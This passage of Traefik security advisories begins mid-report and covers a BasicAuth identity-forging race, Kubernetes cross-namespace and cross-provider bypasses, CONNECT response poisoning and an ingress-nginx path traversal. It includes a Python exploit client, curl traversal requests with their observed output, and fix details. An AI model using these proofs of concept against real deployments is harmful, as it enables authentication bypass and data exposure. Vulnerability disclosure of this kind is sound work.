Without headerField, the unknown request is still admitted through the BasicAuth middleware. The practical consequence then depends on whether the protected route treats all authenticated users equally.
Proof of Concept
Validation environment
- Official Traefik v3.7.8 Linux amd64 release. - Build timestamp: 2026-07-15T12:42:25Z. - Go version in the release: go1.26.5. - Archive SHA-256: dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7. - The checksum matched the official traefikv3.7.8checksums.txt release asset. - No Traefik source files were modified.
Dynamic configuration
The bcrypt hash below is for password test and uses cost 12:
yaml http: routers: app: entryPoints: - web rule: PathPrefix(/) middlewares: - auth service: backend
middlewares: auth: basicAuth: headerField: X-WebAuth-User removeHeader: true users: - 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'
services: backend: loadBalancer: servers: - url: http://127.0.0.1:19090
Save it as dynamic.yml. Use this install configuration as static.yml:
yaml global: checkNewVersion: false sendAnonymousUsage: false
api: insecure: true
entryPoints: web: address: 127.0.0.1:18080
providers: file: filename: /absolute/path/to/dynamic.yml watch: false
The API is enabled only to demonstrate that the runtime representation exposes the configured hash. It is not needed if the tester already knows the hash from the configuration.
Use this backend as backend.py; it responds with the identity Traefik puts in the trusted header:
python from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
class Handler(BaseHTTPRequestHandler): def doGET(self): body = (self.headers.get("X-WebAuth-User", "") + "\n").encode() self.sendresponse(200) self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)
def logmessage(self, args): pass
ThreadingHTTPServer(("127.0.0.1", 19090), Handler).serveforever()
Start the backend and Traefik in separate shells.
Shell 1:
bash python3 backend.py
Shell 2:
bash ./traefik --configFile=/absolute/path/to/static.yml
Exploit client
python import base64 import http.client import json import threading import time import urllib.request
HOST = "127.0.0.1" PORT = 18080 PASSWORD = "test" HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u."
def request(user, password): conn = http.client.HTTPConnection(HOST, PORT, timeout=5) token = base64.b64encode(f"{user}:{password}".encode()).decode() conn.request("GET", "/", headers={"Authorization": f"Basic {token}"}) response = conn.getresponse() body = response.read().decode().strip() status = response.status conn.close() return status, body
middleware = json.load( urllib.request.urlopen( "http://127.0.0.1:8080/api/http/middlewares/auth%40file" ) ) print("apiusers", middleware["basicAuth"]["users"]) print("validbaseline", request("viewer", PASSWORD)) print("attackerbaseline", request("admin", PASSWORD + HASH))
wins = 0 for in range(25): validresult = {} valid = threading.Thread( target=lambda: validresult.setdefault( "result", request("viewer", PASSWORD) ) ) valid.start() time.sleep(0.005) attack = request("admin", PASSWORD + HASH) valid.join() if attack == (200, "admin"): wins += 1
print("forgedadminsuccesses", wins, "of", 25)
Observed output
text apiusers ['viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'] validbaseline (200, 'viewer') attackerbaseline (401, '401 Unauthorized') forgedadminsuccesses 25 of 25
The negative control proves that admin is not configured and cannot authenticate alone. During the collision, all 25 requests were admitted and the backend received the forged identity admin.
The same behavior was first reproduced with Apache MD5. Its much shorter hash calculation window yielded 2 successful identity forgeries in 100 attempts. Using normal production-strength bcrypt made the race deterministic in this environment because the expensive comparison remains in flight long enough for the second request to join it.
Impact
An attacker with read access to a configured password hash and the ability to send concurrent requests can authenticate as an unconfigured username. When headerField is enabled, the attacker-selected username is forwarded to the backend as a trusted authenticated identity, enabling privilege impersonation, unauthorized data access, unauthorized actions, and incorrect security audit attribution. Without headerField, the request still bypasses BasicAuth and reaches the protected service.
</details>
---
Summary
There is a medium severity vulnerability in Traefik's Kubernetes CRD provider. When providers.kubernetesCRD.allowCrossNamespace is disabled — the default — cross-namespace @kubernetescrd references are rejected for middlewares, TLS options and HTTP/TCP ServersTransports, but the same restriction was not applied to TraefikService backend references resolved by the service resolver. A tenant confined by RBAC to a single namespace can therefore bind its own router to a TraefikService owned by another namespace and expose or reroute that namespace's backend, defeating the namespace isolation allowCrossNamespace=false is meant to enforce. Traefik v2 releases and the unmaintained v3 minor lines below v3.6 are affected and will not receive a patch on their own line; the remedy for those users is upgrading to a maintained, patched release.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.54 - https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary When providers.kubernetesCRD.allowCrossNamespace=false (the default), Traefik correctly rejects cross-namespace @kubernetescrd references for middlewares, TLS options, and HTTP/TCP ServersTransport, but it does not apply the same restriction to service (TraefikService) backendRefs. As a result, a Kubernetes tenant who is confined by RBAC to their own namespace can bind their own router to a TraefikService owned by another namespace simply by referencing it as <victim-namespace>-<name>@kubernetescrd, defeating the namespace-isolation boundary that allowCrossNamespace=false is meant to enforce.
This is the service-resolver sibling of the cross-namespace isolation family that Traefik has been fixing one resolver at a time (df00d82f / CVE-2026-41174 for Chain middlewares, and 67501cbe for TCP ServersTransport, which shipped in v3.7.7 only four days before the analyzed commit). The TraefikService resolver in configBuilder.nameAndService was never given the guard its sibling resolvers received.
Details Root cause
nameAndService only performs the same-namespace check (isNamespaceAllowed) inside the branch that handles names without an @ separator. For names that contain an @ separator (that is, @kubernetescrd cross-namespace references) it applies only the crossProviderNamespaces allowlist check, and that check returns true by default because a nil allowlist means "unrestricted". It never applies the !allowCrossNamespace && strings.HasSuffix(name, "@kubernetescrd") rejection that the sibling resolvers all apply, so allowCrossNamespace=false is effectively never consulted for @kubernetescrd service references.
Vulnerable code
go // pkg/provider/kubernetes/crd/kuberneteshttp.go:662-695 — nameAndService (VULNERABLE) func (c configBuilder) nameAndService(ctx context.Context, parentNamespace string, service traefikv1alpha1.LoadBalancerSpec) (string, dynamic.Service, error) { svcCtx := log.Ctx(ctx).With().Str(logs.ServiceName, service.Name).Logger().WithContext(ctx)
if !strings.Contains(service.Name, providerNamespaceSeparator) { // 665: only names WITHOUT "@" service = service.DeepCopy() service.Namespace = namespaceOrParentNamespace(service.Namespace, parentNamespace) if !isNamespaceAllowed(c.allowCrossNamespace, parentNamespace, service.Namespace) { // 669 return "", nil, fmt.Errorf("service %s/%s not in the parent resource namespace %s", ...) } }
// 674: for "@"-names, the ONLY gate is crossProviderNamespaces, which defaults to allow-all (nil). if !isCrossProviderNamespaceAllowed(c.crossProviderNamespaces, parentNamespace) && strings.Contains(service.Name, providerNamespaceSeparator) { return "", nil, fmt.Errorf("service %q reference is not allowed: ...", service.Name) } // ^-- MISSING: no !c.allowCrossNamespace && strings.HasSuffix(service.Name, "@"+ProviderName) rejection.
switch service.Kind { case "TraefikService": return fullServiceName(svcCtx, service, intstr.FromInt(0)), nil, nil // 690: returns the cross-namespace reference ... } }
For comparison, the sibling resolver used for middleware and TLS references does carry the guard:
go // pkg/provider/kubernetes/crd/kubernetes.go:1653-1668 — resolveReference (CORRECT) func resolveReference(ctx context.Context, parentNs, ns, name string, crossProviderNamespaces []string, allowCrossNamespace bool) (string, error) { if strings.Contains(name, providerNamespaceSeparator) { if !allowCrossNamespace && strings.HasSuffix(name, providerNamespaceSeparator+ProviderName) { return "", errors.New("when allowCrossNamespace is disabled, @kubernetescrd references are disallowed") // 1656 — THE GUARD } ... } ... }
The same guard is also present at pkg/provider/kubernetes/crd/kuberneteshttp.go:500 (makeServersTransportKey, HTTP) and pkg/provider/kubernetes/crd/kubernetestcp.go:316 (makeTCPServersTransportKey, TCP, added by commit 67501cbe). Only the service resolver nameAndService lacks it.
Data flow
An IngressRoute created by a tenant in namespace attacker declares a route service { name: "victim-backend@kubernetescrd", kind: TraefikService }; the tenant controls this reference string. In nameAndService, because the name contains @, the same-namespace check at line 669 is skipped, and isCrossProviderNamespaceAllowed(nil, "attacker") returns true under the default nil allowlist, so no rejection fires. fullServiceName then resolves the reference to the victim namespace's TraefikService, and the attacker's HTTP router is generated and bound to the victim's backend. At runtime the attacker's Host(...) route forwards to namespace victim's backend pods.
Default reachability
AllowCrossNamespace defaults to false (pkg/provider/kubernetes/crd/kubernetes.go:57, never set to true by any SetDefaults), so the isolation this bug bypasses is on by default. CrossProviderNamespaces defaults to nil, and isCrossProviderNamespaceAllowed returns true for a nil allowlist (pkg/provider/kubernetes/crd/kubernetes.go:1645-1651), so the only check nameAndService applies to an @-name is inert by default. The attacker needs only namespace-scoped RBAC to create an IngressRoute or TraefikService in their own namespace (the standard hard-multi-tenant Traefik setup) and knowledge of the target TraefikService's namespace and name.
PoC A table-style harness was added to the CRD provider package. It defines a victim TraefikService (backend in namespace victim, backed by a real endpoint) and an attacker IngressRoute (namespace attacker) that references it via victim-backend@kubernetescrd, plus a control route that references a victim Middleware via victim-mw@kubernetescrd. The control route is given a valid local service so that the only reason it could be dropped is the cross-namespace middleware guard. The provider is run with AllowCrossNamespace: false and CrossProviderNamespaces: nil (both defaults).
$ go test -run TestPoCCrossNamespaceServiceBypass ./pkg/provider/kubernetes/crd/ -v
HTTP routers: [attacker-attacker-svc-route-7df4381938699bd21215] HTTP services: [victim-whoami-victim-80 victim-backend] CONTROL OK: cross-ns MIDDLEWARE ref (victim-mw@kubernetescrd) rejected -> router dropped BYPASS CONFIRMED: attacker router bound to cross-ns service "victim-backend" despite AllowCrossNamespace=false
The control route (middleware reference) is dropped even though it has a valid local service, confirming that the isolation control is active for middlewares; the service route survives and its Service field resolves to victim-backend, with the victim's services pulled into the generated configuration and reachable through the attacker's router.
The harness also runs two corroborating cases. With AllowCrossNamespace=false and CrossProviderNamespaces=["someotherns"] (an allowlist that excludes the attacker), the service reference is blocked, which proves that the only gate ever applied to an @kubernetescrd service name is crossProviderNamespaces (inert by default) and that allowCrossNamespace=false is never consulted. With AllowCrossNamespace=true, both the service and middleware references are accepted, as expected when isolation is intentionally disabled.
Impact In a multi-tenant cluster relying on allowCrossNamespace=false for namespace isolation, a tenant confined to their own namespace can attach their own router (their own Host rule and entrypoint) to another tenant's TraefikService backend, exposing an otherwise internal-only service on the data plane under the attacker's hostname, and can route or mirror traffic to another namespace's backend that they should not be able to reference.
</details> ---
Summary
There is a critical vulnerability in Traefik's default HTTP reverse proxy that leads to unauthenticated cross-user response poisoning. When a client opens an HTTP/2 or HTTP/3 CONNECT request, Traefik forwards it — body included — to an HTTP/1.1 upstream over a shared net/http.Transport. If the upstream answers the CONNECT with a keep-alive non-2xx response without draining the body, the now-desynchronized backend socket is returned to Traefik's shared connection pool and reused for other clients, letting an attacker make a different client read a response the attacker smuggled — which may be another user's authenticated or private content. The entrypoint's sanitizePath option (default true) is not a reliable defense: backends that answer CONNECT / with a keep-alive non-2xx remain exploitable. The experimental FastProxy implementation was not affected. The issue is fixed by deferring the forwarded CONNECT payload until the backend accepts the tunnel, by not returning CONNECT connections to the shared idle pool, and by discarding the CONNECT body in the ForwardAuth path.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.53 - https://github.com/traefik/traefik/releases/tag/v3.6.24 - https://github.com/traefik/traefik/releases/tag/v3.7.9
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's default reverse proxy forwards a plain HTTP/2 or HTTP/3 CONNECT request and its body to an HTTP/1.1 upstream through a shared net/http.Transport. When the upstream answers the CONNECT with a keep-alive non-2xx response and does not drain the body, Traefik returns the now desynchronized backend socket to its shared pool and reuses it for other clients. An unauthenticated attacker uses this to make a different client read the attacker's smuggled response.
Traefik's default proxy is net/http/httputil.ReverseProxy over a shared http.Transport, so it inherits the same root cause as the Caddy reverseproxy CONNECT pool poisoning.
Traefik ships one partial mitigation Caddy does not. The entrypoint option sanitizePath (default true) rewrites the forwarded CONNECT's empty path to /, so Traefik emits CONNECT / instead of authority-form CONNECT host:port. This is not a reliable defense. It avoids the smuggle only against backends that reject CONNECT / by closing the connection (Apache, nginx). Backends that answer CONNECT / with a keep-alive non-2xx and leave the body undrained still cross. That set includes any Go net/http server and gunicorn/Flask.
Confirmed on the official image traefik:v3.6.23 (a currently supported release), default configuration, against stock go-httpbin (Go) and kennethreitz/httpbin (Python gunicorn/Flask), attacker and victim in separate containers, over both HTTP/2 and HTTP/3.
Affected
- traefik:v3.6.23 (official image) and current v3, default configuration, standard proxy to an HTTP/1.1 upstream. Backend keep-alive pooling is on by default (MaxIdleConnsPerHost 200). - Attacker frontend is HTTP/2 or HTTP/3. An HTTP/1.1 frontend is not affected. - The upstream keeps the connection alive after a non-2xx to the forwarded CONNECT and does not drain the body. - The experimental FastProxy implementation is not affected (see Not affected).
Details
Three behaviors compose.
1. Traefik forwards a plain CONNECT as an ordinary proxied request. The default proxy is httputil.ReverseProxy with a shared http.Transport (pkg/proxy/httputil/proxy.go). The director assigns the outbound URL.Host directly and does not reject CONNECT, leaving the request body a live stream. The client places a raw HTTP/1.1 request in that body (H2/H3 DATA frames), which is written onto the backend socket after the CONNECT header block.
2. net/http writes the CONNECT body unframed and pools the socket. For a CONNECT the transport writes the body with no Content-Length and no Transfer-Encoding. The upstream answers a keep-alive non-2xx and parses the trailing bytes as a pipelined request. Go reads the non-2xx response and returns the socket to the shared idle pool once the request body reaches EOF (the wroteRequest gate), while the smuggled request's response is still pending.
3. Desynchronized reuse. The smuggled request targets a slow endpoint so its response arrives after the socket is pooled. A different client that reuses the socket reads the pending smuggled response as its own.
sanitizePath (default true, pkg/server/serverentrypointtcp.go) calls req.URL.JoinPath(), which turns the CONNECT's empty path into /. Traefik emits CONNECT /. Whether that stops the smuggle depends only on the backend: Apache and nginx answer 400 Bad Request with Connection: close (socket torn down, no cross); Go net/http and gunicorn/Flask answer a keep-alive non-2xx and pipeline the trailing bytes (cross). With sanitizePath off, Traefik emits authority-form CONNECT host:port, which Apache answers with a keep-alive 405.
HTTP/2 and HTTP/3 only. Pooling requires the forwarded request body to reach EOF. An H2/H3 client half-closes the CONNECT stream (ENDSTREAM), so the body reaches EOF while the connection stays open and the socket is pooled. An H1 CONNECT body is the tunnel and cannot reach EOF without closing the connection, so the socket is closed, not pooled. HTTP/3 routes to the same handler chain as HTTPS.
Backend behavior
"Armed" means the backend answers with a keep-alive non-2xx and parses the trailing undrained bytes as a pipelined request. Default Traefik emits CONNECT /; with sanitizePath: false it emits authority-form CONNECT host:port.
| Backend (stock image) | Server | CONNECT / (default) | authority-form CONNECT | |-------------------------|----------------|----------------------------|------------------------| | mccutchen/go-httpbin | Go net/http | armed (405 keep-alive) | armed | | traefik/whoami | Go net/http | armed (200 keep-alive) | armed | | caddy:2 | Go net/http | armed (405 keep-alive) | armed | | kennethreitz/httpbin | gunicorn/Flask | armed (405 keep-alive) | armed | | httpd:2.4 | Apache | not armed (400 close) | armed (405 keep-alive) | | nginx:alpine | nginx | not armed (400 close) | not armed (400 close) | | tomcat:10 | Tomcat | not armed (501 close) | - | | node http | Node.js | not armed (closes) | - | | python -m http.server | Python stdlib | not armed (501 close) | - |
Impact
Unauthenticated cross-user HTTP response poisoning. One client receives another client's response, which can be authenticated or private content, or an attacker-chosen response.
Blast radius depends on the pool. With the default pool and a slow smuggled endpoint the crossing is reliable for a converging victim. With a bounded pool one desync shifts the whole response queue: measured with MaxIdleConnsPerHost 1 and a slow victim endpoint, 8 of 8 sequential victims read a response that was not their own (1 the attacker's, 7 another user's, 0 their own). Traefik does not expose MaxConnsPerHost, so the parallel cascade is weaker than Caddy's.
Proof of concept
poc/run.sh runs the official traefik:v3.6.23 image fronting real off-the-shelf backends over HTTP/1.1, with attacker and victim in separate containers. Requires docker and python3. It builds the attack client, pulls the stock images, and runs the scenarios below.
The attacker opens an H2 or H3 CONNECT to Traefik and sends a raw HTTP/1.1 GET /delay/2?tag=ATTACKERSMUGGLED as the CONNECT body, then half-closes the stream. Traefik forwards the CONNECT to the Go/Python backend, the backend answers a keep-alive non-2xx, keeps the socket, and parses the trailing GET as a pipelined request, so a response to it is queued on that socket. net/http returns the socket to Traefik's shared pool. The victim then sends GET /get?tag=VICTIMOWN on its own connection, Traefik reuses the pooled backend socket, and the victim reads the queued /delay response instead of its own. CROSS means the victim received a response that was not its own.
Expected output from poc
== core: DEFAULT config, cross-user poisoning vs real off-the-shelf backends == [core-go-h2] h2->h2 CROSS [core-go-h3] h3->h3 CROSS [core-go-x] h2->h3 CROSS [core-py-h2] h2->h2 CROSS [core-py-h3] h3->h3 CROSS == mechanism: sanitizePath off -> stock Apache 405 (the direct Caddy analogue) == [mech-ap-h2] h2->h2 CROSS [mech-ap-h3] h3->h3 CROSS == controls: must NOT cross == [ctl-apache] h2->h2 NOCROSS [ctl-pooloff] h2->h2 NOCROSS [ctl-kaoff] h2->h2 NOCROSS == safe variant: experimental FastProxy chunk-frames the CONNECT body == [safe-fast] h2->h2 NOCROSS == cascade: bounded pool, one desync poisons a queue of victims == smuggled=1 otheruser=7 own=0 of 8 (cross-user poisoned=8) RESULT: PASS
- Core rows. DEFAULT Traefik config against a Go backend (go-httpbin) and a Python gunicorn/Flask backend (kennethreitz/httpbin), for H2->H2, H3->H3, and H2->H3. The victim reads the attacker's smuggled response. - Mechanism rows. sanitizePath off and stock Apache. Traefik emits authority-form CONNECT apache-backend:80, Apache answers a keep-alive 405, and it crosses. This is the direct Caddy analogue and proves the full mechanism including Apache. - Control rows. ctl-apache runs the default config against Apache, which closes CONNECT /; ctl-pooloff disables Traefik backend reuse (maxIdleConnsPerHost: -1); ctl-kaoff runs Apache with KeepAlive Off. All three print NOCROSS, so the crossing depends on backend socket reuse, not pipelining or a shared client. - Safe variant. Experimental FastProxy against the Go backend prints NOCROSS because it chunk-frames the CONNECT body. - Cascade. MaxIdleConnsPerHost 1 and a slow victim endpoint. One CONNECT desync shifts the queue: of 8 sequential victims, 1 reads the attacker's smuggled response, 7 read another user's response, 0 read their own.
The captured crossing (poc/evidence/RELEASEv3.6.23victim.json): the victim sent GET /get?tag=VICTIMOWN and received a 200 whose body is the response to GET /delay/2?tag=ATTACKERSMUGGLED with the echoed header X-Smuggled: released-v3.6.23, none of which the victim sent.
Not affected
- HTTP/1.1 frontend. An H1 CONNECT body cannot reach EOF without closing the connection, so the backend socket is not pooled. - Experimental FastProxy (experimental.fastProxy). It chunk-frames the forwarded CONNECT body (Transfer-Encoding: chunked, captured in poc/evidence/wirefastproxychunked.txt), so the trailing bytes are read as the CONNECT body, not a pipelined request. safe-fast is NOCROSS.
ForwardAuth
The ForwardAuth middleware with forwardBody: true and preserveRequestMethod: true re-issues the request to the auth server as a CONNECT with the buffered body re-attached and ContentLength never set (pkg/middlewares/auth/forward.go). The auth client writes that body unframed to the auth server (captured on the wire), so a keep-alive non-2xx from the auth server poisons the shared auth-client pool the same way.
Root cause
net/http pools a connection after a keep-alive non-2xx response to a CONNECT whose body it wrote unframed. Traefik's default proxy forwards client CONNECT through a shared net/http.Transport and applies no CONNECT rejection. sanitizePath changes the emitted request target but does not remove the defect. Traefik's own FastProxy implementation frames the CONNECT body and does not cross, which shows this is a property of the httputil/net/http path, not fixed by path normalization.
POC
poc.zip
</details>
---
Summary
There is a high severity vulnerability in Traefik's Kubernetes Ingress NGINX provider. When an Ingress uses the nginx.ingress.kubernetes.io/rewrite-target annotation with a regular expression that captures attacker-controlled text without requiring a path separator (for example path /api(.) with rewrite target /$1), the generated RewriteTarget middleware can turn an initially safe request path into a dot-segment traversal path after the router has already been selected.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.8
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's Kubernetes Ingress NGINX provider creates an internal RewriteTarget middleware for the nginx.ingress.kubernetes.io/rewrite-target annotation. When an Ingress path captures attacker-controlled text without requiring a path separator, the middleware can turn an initially safe path into a dot-segment traversal path after Traefik has already selected the router.
For example, with Ingress path /api(.) and rewrite target /$1, an unauthenticated request to /api../admin follows this flow:
1. The default entry-point path sanitizer leaves /api../admin unchanged because api.. is one ordinary segment. 2. The public router's PathRegexp("(?i)^/api(.)") rule matches. 3. RewriteTarget captures ../admin and creates /../admin. 4. The middleware forwards /../admin without checking whether path normalization changes it. 5. A backend that normalizes paths resolves /../admin to /admin. 6. The request reaches content intended to be reachable only through a separate /admin router with BasicAuth, DigestAuth, or ForwardAuth.
This is an unpatched sibling of GHSA-cxjq-mrr5-89rv, which added post-replacement normalization validation to ReplacePathRegex. The separate ingress-nginx RewriteTarget implementation did not receive the same validation. The bypass remains exploitable in the patched Traefik v3.7.7 release.
Severity
Proposed severity: Critical
CVSS 3.1: 9.1 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
- Attack vector: Network - Attack complexity: Low once the affected routing pattern exists - Privileges required: None - User interaction: None - Scope: Unchanged - Confidentiality: High - Integrity: High - Availability: None
Primary weakness: CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
Secondary weakness: CWE-288 — Authentication Bypass Using an Alternate Path or Channel
The practical impact depends on the protected backend paths. If they are read-only or low sensitivity, environmental severity may be lower.
Exploitation Preconditions
- The Kubernetes Ingress NGINX provider is enabled. - A public Ingress uses rewrite-target with a regex that can capture .. adjacent to the matched prefix, such as /api(.) with /$1. - A protected router exposes another path on the same backend, such as /admin, and relies on a Traefik authentication or authorization middleware. - The backend normalizes dot segments before dispatching the request.
These are deployment prerequisites; the remote attacker needs no credentials or special timing.
Affected Components
Confirmed versions
- Traefik v3.7.0 through v3.7.7 - Current master at commit b93f02cd07b79490fb8c8f02e301a7a1ec553195 - Current v3.7 branch at 69259c3acc9d4bdc065cb2e3b83336f7de3e7038
The vulnerable middleware is present in every stable v3.7 release checked. The v2.11 and v3.6 branches do not contain this ingress-nginx RewriteTarget implementation.
Code locations
- pkg/provider/kubernetes/ingress-nginx/middleware.go:257-274 - Converts the Ingress path and rewrite-target annotation directly into dynamic.RewriteTarget configuration. - pkg/middlewares/ingressnginx/rewritetarget/rewritetarget.go:85-157 - Performs capture-based path rewriting and forwards the rewritten path without normalization validation. - pkg/server/middleware/middlewares.go:346-353 - Instantiates the vulnerable middleware in the live HTTP chain.
Root Cause
The provider passes the route regex and annotation replacement into the middleware:
go loc.RewriteTarget = &dynamic.RewriteTarget{ Regex: loc.Path, Replacement: rewrite, }
RewriteTarget.ServeHTTP then derives a path from attacker-controlled capture groups:
go newTarget = rt.regexp.ReplaceAllString(currentPath, rt.replacement)
req.URL.RawPath = newTarget req.URL.Path, err = url.PathUnescape(req.URL.RawPath) req.RequestURI = req.URL.RequestURI()
rt.next.ServeHTTP(rw, req)
There is no invariant check between PathUnescape and forwarding to ensure that req.URL.Path equals its normalized form. Because routing happens before middlewares execute, any protected router that would match the normalized result is never reconsidered.
The core ReplacePathRegex middleware now enforces this invariant by calling req.URL.JoinPath() and returning HTTP 400 when normalization changes the replacement. RewriteTarget implements equivalent capture-based behavior but lacks that check.
Default entryPoints.<name>.http.sanitizePath=true does not prevent this issue. Sanitization occurs before routing and before RewriteTarget creates the traversal sequence.
Impact
An unauthenticated network attacker can bypass route-level authentication or authorization and access protected paths on the backend. Depending on the protected API, this can allow:
- reading administrative or sensitive data; - invoking privileged state-changing endpoints with GET, POST, PUT, PATCH, or DELETE; - bypassing BasicAuth, DigestAuth, ForwardAuth, IP restrictions, or other controls attached only to the protected router; - crossing intended public/protected path boundaries with one HTTP request.
The middleware is method-agnostic, so the issue is not limited to read-only requests.
Proof of Concept
Validation Environment
- Traefik v3.7.7 official Linux amd64 release - Release archive SHA-256 verified as 5c8ff19144683f862c04e8ac01893e8cd94a3519d3d9ca3e6fbd0a7de73261ba - Default sanitizePath=true - Node.js v24 backend - Kubernetes Ingress NGINX provider fed valid Ingress, Service, EndpointSlice, and Secret objects through a local Kubernetes API fixture
No Traefik source files were modified.
1. Create the normalizing backend
Save as backend.js:
javascript const http = require("http"); const path = require("path");
http.createServer((req, res) => { const rawPath = req.url.split("?", 1)[0]; const normalizedPath = path.posix.normalize(rawPath); const protectedPath = normalizedPath === "/admin" || normalizedPath.startsWith("/admin/");
const body = JSON.stringify({ rawPath, normalizedPath, result: protectedPath ? "ADMINSECRETDATA" : "PUBLIC", });
res.writeHead(200, { "Content-Type": "application/json" }); res.end(body); }).listen(19090, "127.0.0.1");
Run it:
bash node backend.js
2. Apply the Kubernetes objects
The ExternalName service makes an externally run Traefik process connect to the local backend. If Traefik runs inside the cluster, replace it with a normal Deployment and ClusterIP Service.
yaml apiVersion: v1 kind: Secret metadata: name: basic-auth namespace: default type: Opaque stringData: auth: | admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/ --- apiVersion: v1 kind: Service metadata: name: backend namespace: default spec: type: ExternalName externalName: localhost ports: - name: http port: 19090 targetPort: 19090 --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: public-api namespace: default annotations: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/use-regex: "true" nginx.ingress.kubernetes.io/rewrite-target: "/$1" spec: rules: - http: paths: - path: /api(.) pathType: ImplementationSpecific backend: service: name: backend port: number: 19090 --- apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: protected-admin namespace: default annotations: kubernetes.io/ingress.class: nginx nginx.ingress.kubernetes.io/auth-type: basic nginx.ingress.kubernetes.io/auth-secret: basic-auth nginx.ingress.kubernetes.io/auth-realm: Authentication Required spec: rules: - http: paths: - path: /admin pathType: Prefix backend: service: name: backend port: number: 19090
bash kubectl apply -f poc.yaml
3. Run unmodified Traefik v3.7.7
bash KUBECONFIG="$HOME/.kube/config" ./traefik \ --entryPoints.web.address=127.0.0.1:18080 \ --providers.kubernetesIngressNginx.watchNamespace=default \ --providers.kubernetesIngressNginx.httpEntryPoint=web \ --global.checkNewVersion=false \ --log.level=DEBUG
Traefik generates the following relevant dynamic configuration:
json { "rule": "PathRegexp(\"(?i)^/api(.)\")", "middlewares": ["...-rewrite-target"], "rewriteTarget": { "regex": "/api(.)", "replacement": "/$1" } }
The protected router separately contains a BasicAuth middleware and a PathRegexp("(?i)^/admin") rule.
4. Confirm authentication is enforced
bash curl --path-as-is -i http://127.0.0.1:18080/admin
Observed:
text HTTP/1.1 401 Unauthorized
5. Exploit the traversal rewrite
Plain variant:
bash curl --path-as-is -i http://127.0.0.1:18080/api../admin
Observed:
text HTTP/1.1 200 OK {"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMINSECRETDATA"}
Percent-encoded variant:
bash curl --path-as-is -i http://127.0.0.1:18080/api%2e%2e/admin
Observed:
text HTTP/1.1 200 OK {"rawPath":"/../admin","normalizedPath":"/admin","result":"ADMINSECRETDATA"}
The direct request receives 401, while both unauthenticated traversal requests receive the protected content with status 200.
Remediation
Apply the same post-rewrite normalization invariant used by the patched ReplacePathRegex middleware. After decoding RawPath, normalize a copy and reject the request if normalization changes Path:
go path := req.URL.Path if path != "" { req.URL = req.URL.JoinPath() }
if path != req.URL.Path { logger.Debug().Msgf( "Rejecting request, normalized path %q differs from rewritten path %q", req.URL.Path, path, ) http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest) return }
req.RequestURI = req.URL.RequestURI()
Recommended additional actions:
1. Centralize the post-transformation path validation used by ReplacePathRegex, StripPrefix, StripPrefixRegex, and ingress-nginx RewriteTarget to prevent future drift. 2. Add regression tests for /api../admin and /api%2e%2e/admin, expecting HTTP 400. 3. Test both URL.Path and URL.RawPath cases and preserve legitimate encoded-path behavior. 4. Audit the ingress-nginx snippet rewrite implementation for the same post-rewrite invariant.
Temporary Mitigation
Use a regex that requires a separator or end-of-path before captured user data, for example:
yaml nginx.ingress.kubernetes.io/use-regex: "true" nginx.ingress.kubernetes.io/rewrite-target: "/$2"
Ingress path: path: /api(/|$)(.)
This prevents /api../admin from matching. Also enforce authentication in the backend rather than relying exclusively on separate Traefik path routers. Entry-point sanitizePath=true alone is not a mitigation because the dangerous dot segment is created after sanitization.
Duplicate Check
As of 2026-07-09:
- Traefik's public security advisories contain no entry mentioning RewriteTarget or ingress-nginx rewrite-target path traversal. - Public issue and pull-request searches found no report for this path-normalization bypass. - GHSA-cxjq-mrr5-89rv is related but not a duplicate: it fixes pkg/middlewares/replacepathregex, while this report affects pkg/middlewares/ingressnginx/rewritetarget and reproduces on the version that contains that fix, v3.7.7.
Disclosure
If confirmed, could you please create a GitHub Security Advisory and request a CVE? I am happy to validate a patch and coordinate disclosure.
</details>
---
Summary
There is a medium-severity cross-provider reference vulnerability in Traefik's Kubernetes CRD provider. The crossProviderNamespaces allowlist is enforced for HTTP serversTransport references but was not enforced for IngressRouteTCP service serversTransport references. A low-privileged Kubernetes user in a namespace that is not listed in crossProviderNamespaces could set serversTransport: foo@file on an IngressRouteTCP service, causing Traefik to accept the forbidden cross-provider reference and use the file-provider TCPServersTransport — including privileged backend mTLS client certificates, SPIFFE identity, or PROXY-protocol settings. The fix applies the crossProviderNamespaces allowlist to TCP serversTransport references.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.23 - https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's Kubernetes CRD provider enforces crossProviderNamespaces for several cross-provider references, but IngressRouteTCP service serversTransport references skip that allowlist. A low-privileged Kubernetes user in a namespace that is not listed in crossProviderNamespaces can still set serversTransport: foo@file on an IngressRouteTCP service. Traefik accepts the forbidden cross-provider reference and later uses the referenced TCPServersTransport, including privileged backend mTLS client certificates, SPIFFE identity, or PROXY protocol settings.
Description
crossProviderNamespaces is documented and implemented as an allowlist for namespaces that may declare cross-provider references from Kubernetes CRD objects. HTTP serversTransport references enforce that allowlist. TCP serversTransport references do not.
An attacker with low Kubernetes privileges in namespace default can create an IngressRouteTCP service with:
